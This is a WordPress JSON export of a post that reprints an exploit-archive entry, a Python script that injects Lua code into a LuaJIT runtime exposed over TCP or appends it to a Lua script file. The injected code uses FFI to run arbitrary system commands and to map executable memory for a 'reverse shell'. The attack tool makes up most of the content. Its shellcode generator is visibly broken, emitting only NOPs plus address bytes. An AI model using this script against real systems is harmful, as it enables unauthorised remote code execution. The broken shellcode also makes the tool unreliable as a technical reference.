{"id":49294,"date":"2026-04-24T16:47:57","date_gmt":"2026-04-24T16:47:57","guid":{"rendered":"http:\/\/localhost\/?p=49294"},"modified":"2026-04-24T16:47:57","modified_gmt":"2026-04-24T16:47:57","slug":"luajit-211774638290-ffi-remote-code-execution-lua-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=49294","title":{"rendered":"\ud83d\udcc4 LuaJIT 2.1.1774638290 FFI Remote Code Execution \/ Lua Injection_PACKETSTORM:219754"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-24T20:46:54&#8243;,&#8221;description&#8221;:&#8221;This script is a LuaJIT exploitation tool that attempts to abuse the LuaJIT FFI Foreign Function Interface to execute system commands or arbitrary shellcode on a remote Lua runtime exposed over a TCP socket. It connects to a target service, injects Lua&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-24T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-24T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 LuaJIT 2.1.1774638290 FFI Remote Code Execution \/ Lua Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:219754&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : LuaJIT 2.1.1774638290 FFI Remote Code Execution Exploit via Socket-Based Lua Injection                           |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/luajit.org\/download.html                                                                                 |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : This script is a LuaJIT exploitation tool that attempts to abuse the LuaJIT FFI (Foreign Function Interface) to execute system commands or arbitrary shellcode on a remote Lua runtime exposed over a TCP socket. \\n                     It connects to a target service, injects Lua code dynamically, and leverages unsafe FFI bindings such as system() and mmap() to achieve remote code execution (RCE). \\n                     In advanced mode, it attempts to allocate executable memory and run shellcode for a reverse shell.\\n    \\n    [+] POC        :  \\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import socket\\n    import sys\\n    import re\\n    import time\\n    import struct\\n    from typing import Optional, Tuple\\n    \\n    class LuaJITExploit:\\n        def __init__(self, host: str, port: int, target_lua_script_path: Optional[str] = None):\\n            self.host = host\\n            self.port = port\\n            self.target_lua_script_path = target_lua_script_path\\n            self.socket = None\\n            \\n        def connect(self) -\\u003e bool:\\n            try:\\n                self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n                self.socket.connect((self.host, self.port))\\n                print(f\\&#8221;[+] Connected to {self.host}:{self.port}\\&#8221;)\\n                return True\\n            except Exception as e:\\n                print(f\\&#8221;[-] Connection failed: {e}\\&#8221;)\\n                return False\\n        \\n        def send_lua_code(self, lua_code: str) -\\u003e Optional[str]:\\n            if not self.socket:\\n                return None\\n                \\n            try:\\n                self.socket.send(lua_code.encode() + b&#8217;\\\\n&#8217;)\\n                response = self.socket.recv(4096)\\n                if not response:\\n                    return None\\n                return response.decode(errors=\\&#8221;ignore\\&#8221;)\\n            except Exception as e:\\n                print(f\\&#8221;[-] Failed to send Lua code: {e}\\&#8221;)\\n                return None\\n        \\n        def generate_lua_payload(self, command: str = \\&#8221;id\\&#8221;, execute_shellcode: bool = False) -\\u003e str:\\n            lua_code = f&#8221;&#8217;\\n    &#8212; LuaJIT FFI Exploit Payload\\n    local ffi = require(\\&#8221;ffi\\&#8221;)\\n    \\n    ffi.cdef[[\\n        int getpid(void);\\n        long syscall(long number, &#8230;);\\n        int system(const char *command);\\n        void *mmap(void *addr, size_t length, int prot, int flags, int fd, long offset);\\n        int mprotect(void *addr, size_t len, int prot);\\n        void *memcpy(void *dest, const void *src, size_t n);\\n    ]]\\n    \\n    print(\\&#8221;[*] Testing FFI access&#8230;\\&#8221;)\\n    local pid = ffi.C.getpid()\\n    print(\\&#8221;[+] getpid() success: \\&#8221; .. pid)\\n    \\n    print(\\&#8221;[*] Executing command: {command}\\&#8221;)\\n    ffi.C.system(\\&#8221;{command}\\&#8221;)\\n    &#8221;&#8217;\\n    \\n            if execute_shellcode:\\n                reverse_shellcode = self.generate_reverse_shellcode()\\n                \\n                lua_code += f&#8221;&#8217;\\n    print(\\&#8221;[*] Attempting shellcode execution&#8230;\\&#8221;)\\n    \\n    local PROT_READ = 0x1\\n    local PROT_WRITE = 0x2\\n    local PROT_EXEC = 0x4\\n    local PROT_RWX = bit.bor(PROT_READ, PROT_WRITE, PROT_EXEC)\\n    \\n    local MAP_ANONYMOUS = 0x20\\n    local MAP_PRIVATE = 0x02\\n    \\n    local mem = ffi.C.mmap(nil, 4096, PROT_RWX, MAP_ANONYMOUS + MAP_PRIVATE, -1, 0)\\n    \\n    if mem ~= nil and tonumber(ffi.cast(\\&#8221;intptr_t\\&#8221;, mem)) \\u003e 0 then\\n        print(\\&#8221;[+] RWX memory allocated\\&#8221;)\\n        \\n        local shellcode = \\&#8221;{reverse_shellcode}\\&#8221;\\n        \\n        ffi.C.memcpy(mem, shellcode, #shellcode)\\n        \\n        local fn = ffi.cast(\\&#8221;void(*)(void)\\&#8221;, mem)\\n        fn()\\n    else\\n        print(\\&#8221;[-] mmap failed\\&#8221;)\\n    end\\n    &#8221;&#8217;\\n            return lua_code\\n        \\n        def generate_reverse_shellcode(self, ip: str = \\&#8221;127.0.0.1\\&#8221;, port: int = 4444) -\\u003e str:\\n            ip_parts = ip.split(\\&#8221;.\\&#8221;)\\n            ip_hex = \\&#8221;\\&#8221;.join([f\\&#8221;\\\\\\\\x{int(x):02x}\\&#8221; for x in ip_parts])\\n            port_hex = f\\&#8221;\\\\\\\\x{port \\u0026 0xff:02x}\\\\\\\\x{(port \\u003e\\u003e 8) \\u0026 0xff:02x}\\&#8221;\\n            \\n            shellcode = f\\&#8221;\\\\\\\\x90\\\\\\\\x90\\\\\\\\x90\\&#8221; + ip_hex + port_hex\\n            return shellcode\\n        \\n        def exploit_ffi_system(self, command: str = \\&#8221;id\\&#8221;) -\\u003e bool:\\n            print(f\\&#8221;[*] Exploiting FFI to execute: {command}\\&#8221;)\\n            \\n            lua_payload = self.generate_lua_payload(command, False)\\n            \\n            if self.target_lua_script_path:\\n                try:\\n                    with open(self.target_lua_script_path, &#8216;a&#8217;) as f:\\n                        f.write(\\&#8221;\\\\n\\&#8221; + lua_payload)\\n                    print(\\&#8221;[+] Payload injected successfully\\&#8221;)\\n                    return True\\n                except Exception as e:\\n                    print(f\\&#8221;[-] Failed to inject payload: {e}\\&#8221;)\\n                    return False\\n            else:\\n                if self.connect():\\n                    response = self.send_lua_code(lua_payload)\\n                    if response is not None:\\n                        print(f\\&#8221;[+] Response:\\\\n{response}\\&#8221;)\\n                        return True\\n                    return False\\n                return False\\n        \\n        def exploit_shellcode(self, ip: str = \\&#8221;127.0.0.1\\&#8221;, port: int = 4444) -\\u003e bool:\\n            print(f\\&#8221;[*] Attempting reverse shell to {ip}:{port}\\&#8221;)\\n            \\n            lua_payload = self.generate_lua_payload(\\&#8221;\\&#8221;, True)\\n            \\n            if self.target_lua_script_path:\\n                try:\\n                    with open(self.target_lua_script_path, &#8216;a&#8217;) as f:\\n                        f.write(\\&#8221;\\\\n\\&#8221; + lua_payload)\\n                    print(\\&#8221;[+] Reverse shell payload injected\\&#8221;)\\n                    return True\\n                except Exception as e:\\n                    print(f\\&#8221;[-] Failed to inject payload: {e}\\&#8221;)\\n                    return False\\n            else:\\n                if self.connect():\\n                    response = self.send_lua_code(lua_payload)\\n                    if response is not None:\\n                        print(\\&#8221;[+] Payload sent\\&#8221;)\\n                        return True\\n                    return False\\n                return False\\n        \\n        def cleanup(self):\\n            if self.socket:\\n                self.socket.close()\\n                print(\\&#8221;[*] Connection closed\\&#8221;)\\n    \\n    \\n    def main():\\n        if len(sys.argv) \\u003c 4:\\n            print(\\&#8221;Usage: python3 luajit_exploit.py \\u003chost\\u003e \\u003cport\\u003e \\u003ccommand\\u003e\\&#8221;)\\n            sys.exit(1)\\n        \\n        host = sys.argv[1]\\n        port = int(sys.argv[2])\\n        command = sys.argv[3]\\n        \\n        reverse_shell = \\&#8221;&#8211;reverse-shell\\&#8221; in sys.argv\\n        \\n        exploit = LuaJITExploit(host, port)\\n        \\n        print(\\&#8221;=\\&#8221; * 60)\\n        print(\\&#8221;LuaJIT Exploit\\&#8221;)\\n        print(\\&#8221;=\\&#8221; * 60)\\n        \\n        if reverse_shell:\\n            exploit.exploit_shellcode()\\n        else:\\n            exploit.exploit_ffi_system(command)\\n        \\n        exploit.cleanup()\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/219754&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/219754\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-24T20:46:54&#8243;,&#8221;description&#8221;:&#8221;This script is a LuaJIT exploitation tool that attempts to abuse the LuaJIT FFI Foreign Function Interface to execute system commands or arbitrary shellcode on&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-49294","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 LuaJIT 2.1.1774638290 FFI Remote Code Execution \/ Lua Injection_PACKETSTORM:219754 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=49294\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 LuaJIT 2.1.1774638290 FFI Remote Code Execution \/ Lua Injection_PACKETSTORM:219754 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-24T20:46:54&#8243;,&#8221;description&#8221;:&#8221;This script is a LuaJIT exploitation tool that attempts to abuse the LuaJIT FFI Foreign Function Interface to execute system commands or arbitrary shellcode on...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=49294\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-24T16:47:57+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49294#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49294\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 LuaJIT 2.1.1774638290 FFI Remote Code Execution \\\/ Lua Injection_PACKETSTORM:219754\",\"datePublished\":\"2026-04-24T16:47:57+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49294\"},\"wordCount\":1157,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=49294#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49294\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49294\",\"name\":\"\ud83d\udcc4 LuaJIT 2.1.1774638290 FFI Remote Code Execution \\\/ Lua Injection_PACKETSTORM:219754 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-24T16:47:57+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49294#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=49294\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=49294#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 LuaJIT 2.1.1774638290 FFI Remote Code Execution \\\/ Lua Injection_PACKETSTORM:219754\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 LuaJIT 2.1.1774638290 FFI Remote Code Execution \/ Lua Injection_PACKETSTORM:219754 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=49294","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 LuaJIT 2.1.1774638290 FFI Remote Code Execution \/ Lua Injection_PACKETSTORM:219754 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-24T20:46:54&#8243;,&#8221;description&#8221;:&#8221;This script is a LuaJIT exploitation tool that attempts to abuse the LuaJIT FFI Foreign Function Interface to execute system commands or arbitrary shellcode on...","og_url":"https:\/\/zero.redgem.net\/?p=49294","og_site_name":"zero redgem","article_published_time":"2026-04-24T16:47:57+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=49294#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=49294"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 LuaJIT 2.1.1774638290 FFI Remote Code Execution \/ Lua Injection_PACKETSTORM:219754","datePublished":"2026-04-24T16:47:57+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=49294"},"wordCount":1157,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=49294#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=49294","url":"https:\/\/zero.redgem.net\/?p=49294","name":"\ud83d\udcc4 LuaJIT 2.1.1774638290 FFI Remote Code Execution \/ Lua Injection_PACKETSTORM:219754 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-24T16:47:57+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=49294#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=49294"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=49294#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 LuaJIT 2.1.1774638290 FFI Remote Code Execution \/ Lua Injection_PACKETSTORM:219754"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/49294","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=49294"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/49294\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=49294"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=49294"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=49294"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}